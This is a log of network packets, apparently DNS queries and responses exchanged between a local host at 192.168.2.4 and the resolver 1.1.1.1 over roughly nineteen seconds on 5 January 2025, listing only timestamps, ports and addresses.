Jan 5, 2025 10:51:17.972212076 CET	53	60386	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:18.023437977 CET	61302	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:18.042896986 CET	53	61302	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:18.098887920 CET	57168	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:18.106327057 CET	53	57168	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:18.124301910 CET	53438	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:18.132781029 CET	53	53438	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:18.179382086 CET	53601	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:18.452687979 CET	53	53601	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:18.456919909 CET	61867	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:18.647171974 CET	53	61867	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:18.694969893 CET	59630	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:19.065366030 CET	53	59630	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:19.069114923 CET	52297	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:19.196185112 CET	53	52297	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:19.243340015 CET	57188	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:19.282491922 CET	53	57188	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:19.287200928 CET	61425	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:19.345355988 CET	53	61425	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:19.399131060 CET	60055	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:19.681263924 CET	53	60055	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:19.816047907 CET	51558	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:19.998195887 CET	53	51558	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:20.078049898 CET	51746	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:20.093781948 CET	53	51746	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:20.121558905 CET	50620	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:20.130547047 CET	53	50620	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:20.179280043 CET	50011	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:21.128395081 CET	53	50011	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:21.146250010 CET	62860	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:21.153386116 CET	53	62860	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:21.194704056 CET	50735	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:21.314362049 CET	53	50735	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:21.337143898 CET	64170	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:21.473269939 CET	53	64170	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:21.523780107 CET	63130	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:21.532898903 CET	53	63130	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:21.552900076 CET	59737	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:21.565988064 CET	53	59737	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:21.617007017 CET	60950	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:21.636126995 CET	53	60950	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:21.833425045 CET	53352	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:21.842547894 CET	53	53352	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:21.880806923 CET	57782	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:21.890527010 CET	53	57782	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:21.944736958 CET	61057	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:21.969100952 CET	53	61057	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:22.017817020 CET	58068	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:22.140125036 CET	53	58068	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:22.195338964 CET	64938	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:22.213097095 CET	53	64938	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:22.255801916 CET	59671	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:22.265782118 CET	53	59671	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:22.303046942 CET	55073	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:22.312380075 CET	53	55073	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:22.371009111 CET	64121	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:22.679775000 CET	53	64121	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:22.752213001 CET	49152	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:22.845155954 CET	53	49152	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:22.898164034 CET	52928	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:22.926680088 CET	53	52928	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:22.929946899 CET	53352	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:22.942325115 CET	53	53352	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:22.991928101 CET	56153	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:23.000571012 CET	53	56153	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:23.024015903 CET	55533	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:23.041652918 CET	53	55533	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:23.085668087 CET	58022	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:23.114594936 CET	53	58022	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:23.150212049 CET	61308	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:23.191437960 CET	53	61308	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:23.242660999 CET	59301	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:23.251548052 CET	53	59301	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:23.287033081 CET	61444	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:23.296583891 CET	53	61444	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:23.352416992 CET	61475	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:23.361253977 CET	53	61475	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:23.393028021 CET	58249	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:23.400460005 CET	53	58249	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:23.460846901 CET	54846	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:23.495563984 CET	53	54846	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:23.526987076 CET	62364	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:23.584180117 CET	53	62364	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:23.632668018 CET	64820	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:23.666920900 CET	53	64820	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:23.699726105 CET	58742	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:23.710437059 CET	53	58742	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:23.757683992 CET	65316	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:23.782270908 CET	53	65316	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:23.846993923 CET	64586	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:23.858037949 CET	53	64586	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:23.898570061 CET	51585	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:23.917498112 CET	53	51585	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:24.044466972 CET	49239	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:24.053397894 CET	53	49239	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:24.056308031 CET	57461	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:24.064594030 CET	53	57461	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:24.116874933 CET	60578	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:24.200699091 CET	53	60578	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:24.203133106 CET	50770	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:24.221612930 CET	53	50770	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:24.319986105 CET	50485	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:24.340437889 CET	53	50485	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:24.387044907 CET	50131	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:24.395657063 CET	53	50131	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:24.400917053 CET	49152	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:24.410201073 CET	53	49152	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:24.508012056 CET	56208	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:24.518923044 CET	53	56208	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:24.520989895 CET	60336	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:24.535793066 CET	53	60336	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:24.586395979 CET	59767	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:24.595268011 CET	53	59767	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:24.597790003 CET	54715	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:24.635345936 CET	53	54715	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:24.680636883 CET	54937	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:24.975435019 CET	53	54937	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:24.983479023 CET	57700	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:25.041094065 CET	53	57700	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:25.165244102 CET	52960	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:25.201024055 CET	53	52960	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:25.253333092 CET	55251	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:25.288928032 CET	53	55251	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:25.390192032 CET	54138	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:25.495915890 CET	53	54138	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:25.498929024 CET	54669	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:25.913978100 CET	53	54669	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:25.960936069 CET	58630	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:25.995630026 CET	53	58630	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:25.998882055 CET	58556	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:26.255486012 CET	53	58556	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:26.304713011 CET	58532	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:26.315167904 CET	53	58532	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:26.317722082 CET	61557	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:26.329400063 CET	53	61557	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:26.366905928 CET	51975	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:26.640254021 CET	53	51975	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:26.643937111 CET	58778	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:26.736485004 CET	53	58778	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:26.788809061 CET	49698	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:26.807075977 CET	53	49698	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:26.809422016 CET	60002	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:26.820885897 CET	53	60002	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:26.913793087 CET	61891	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:27.182354927 CET	53	61891	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:27.185442924 CET	62655	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:27.232172966 CET	53	62655	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:27.305058956 CET	63910	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:27.314279079 CET	53	63910	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:27.319277048 CET	60311	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:27.329590082 CET	53	60311	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:27.382525921 CET	63060	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:27.406054020 CET	53	63060	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:27.413403034 CET	50733	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:27.430668116 CET	53	50733	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:27.479934931 CET	61387	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:27.533273935 CET	53	61387	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:27.552288055 CET	53481	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:27.561307907 CET	53	53481	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:27.565413952 CET	63000	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:27.574456930 CET	53	63000	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:28.115403891 CET	62456	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:28.301475048 CET	53	62456	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:28.304488897 CET	64181	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:28.400474072 CET	53	64181	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:28.445031881 CET	62914	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:28.455482006 CET	53	62914	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:28.483921051 CET	53958	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:28.492836952 CET	53	53958	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:28.494461060 CET	59801	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:28.504208088 CET	53	59801	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:28.554233074 CET	63847	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:28.600380898 CET	53	63847	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:28.603827953 CET	65051	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:28.661062002 CET	53	65051	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:28.711354971 CET	50624	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:28.722789049 CET	53	50624	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:28.751393080 CET	52210	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:28.760205984 CET	53	52210	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:28.764868021 CET	50072	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:28.773292065 CET	53	50072	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:28.820481062 CET	51548	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:28.828996897 CET	53	51548	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:28.832379103 CET	57948	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:28.891525984 CET	53	57948	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:28.929713011 CET	61028	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:28.947684050 CET	53	61028	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:28.950223923 CET	61226	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:28.959431887 CET	53	61226	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:29.007294893 CET	58406	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:29.024696112 CET	53	58406	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:29.027510881 CET	60269	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:29.074496031 CET	53	60269	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:29.116770029 CET	50323	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:30.132445097 CET	50323	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:30.643712997 CET	53	50323	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:30.643732071 CET	53	50323	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:30.646532059 CET	59040	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:30.767715931 CET	53	59040	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:30.804281950 CET	58030	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:30.823646069 CET	53	58030	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:30.861809015 CET	53170	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:30.868525028 CET	53	53170	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:30.871009111 CET	52252	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:30.879661083 CET	53	52252	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:30.929615021 CET	63415	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:30.949244022 CET	53	63415	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:31.039666891 CET	59096	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:31.046823978 CET	53	59096	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:31.047823906 CET	63851	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:31.057188988 CET	53	63851	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:31.101301908 CET	60580	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:31.282418966 CET	53	60580	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:31.286446095 CET	57594	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:31.380296946 CET	53	57594	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:31.429270029 CET	58609	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:31.728071928 CET	53	58609	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:31.732928038 CET	61058	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:31.920072079 CET	53	61058	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:31.960704088 CET	65184	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:32.003135920 CET	53	65184	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:32.008930922 CET	63996	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:32.051035881 CET	53	63996	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:32.101226091 CET	55738	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:32.113535881 CET	53	55738	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:32.119124889 CET	64351	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:32.138679981 CET	53	64351	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:32.179778099 CET	51102	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:32.188685894 CET	53	51102	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:32.190836906 CET	63261	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:32.200299978 CET	53	63261	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:32.241695881 CET	54248	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:32.250174046 CET	53	54248	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:32.255351067 CET	60807	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:32.264652014 CET	53	60807	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:32.304318905 CET	57004	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:32.325882912 CET	53	57004	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:32.331029892 CET	61676	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:32.341705084 CET	53	61676	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:32.382500887 CET	53154	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:32.408474922 CET	53	53154	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:32.410973072 CET	52130	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:32.456583023 CET	53	52130	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:32.500488997 CET	64058	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:32.509435892 CET	53	64058	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:32.525536060 CET	61476	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:32.551300049 CET	53	61476	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:32.586200953 CET	54600	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:32.629359007 CET	53	54600	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:32.632436991 CET	60803	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:32.676851034 CET	53	60803	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:32.726325989 CET	63625	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:32.735971928 CET	53	63625	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:32.739052057 CET	56559	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:32.748354912 CET	53	56559	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:32.789243937 CET	55431	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:32.798681021 CET	53	55431	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:32.801213980 CET	52944	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:32.819386005 CET	53	52944	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:32.867481947 CET	51441	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:33.558769941 CET	53	51441	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:33.563939095 CET	56695	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:33.749862909 CET	53	56695	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:33.789094925 CET	57885	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:33.809972048 CET	53	57885	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:33.813064098 CET	65048	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:33.823465109 CET	53	65048	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:33.866730928 CET	60382	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:33.886193991 CET	53	60382	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:33.895935059 CET	55672	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:33.906466007 CET	53	55672	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:33.910968065 CET	50783	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:33.919981956 CET	53	50783	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:33.961967945 CET	60464	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:33.994626045 CET	53	60464	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:34.011029005 CET	49159	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:34.018192053 CET	53	49159	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:34.022378922 CET	60218	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:34.029510021 CET	53	60218	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:34.070802927 CET	57707	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:34.102103949 CET	53	57707	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:34.108936071 CET	56794	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:34.120686054 CET	53	56794	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:34.163460016 CET	53096	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:34.182066917 CET	53	53096	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:34.191365004 CET	52415	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:34.200011015 CET	53	52415	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:34.201735973 CET	58535	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:34.210391998 CET	53	58535	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:34.257381916 CET	50956	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:34.267374992 CET	53	50956	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:34.270944118 CET	63571	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:34.281516075 CET	53	63571	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:34.319849968 CET	56072	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:34.360246897 CET	53	56072	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:34.366964102 CET	59993	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:34.377860069 CET	53	59993	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:34.414006948 CET	56783	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:34.441189051 CET	53	56783	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:34.450829983 CET	56172	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:34.460361958 CET	53	56172	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:34.465374947 CET	65040	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:34.472487926 CET	53	65040	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:34.509275913 CET	58699	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:34.545852900 CET	53	58699	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:34.560250998 CET	61830	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:34.568865061 CET	53	61830	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:34.696490049 CET	59408	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:34.703502893 CET	53	59408	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:34.753221989 CET	58396	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:35.640189886 CET	53	58396	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:35.644154072 CET	56276	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:35.668797970 CET	53	56276	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:35.711195946 CET	64947	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:35.720864058 CET	53	64947	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:35.723428011 CET	63132	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:35.732284069 CET	53	63132	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:35.773236990 CET	61520	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:35.781826019 CET	53	61520	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:35.783783913 CET	64494	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:35.792807102 CET	53	64494	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:35.835355043 CET	52574	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:35.954749107 CET	53	52574	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:35.957194090 CET	51004	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:35.982075930 CET	53	51004	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:36.023413897 CET	54707	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:36.052015066 CET	53	54707	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:36.086221933 CET	61519	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:36.093605042 CET	53	61519	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:36.097507954 CET	58070	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:36.108109951 CET	53	58070	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:36.148905993 CET	60707	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:36.168271065 CET	53	60707	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:36.171144009 CET	55035	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:36.181405067 CET	53	55035	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:36.226387024 CET	61828	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:36.235737085 CET	53	61828	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:36.238493919 CET	62056	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:36.248029947 CET	53	62056	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:36.289798975 CET	60468	53	192.168.2.4	1.1.1.1
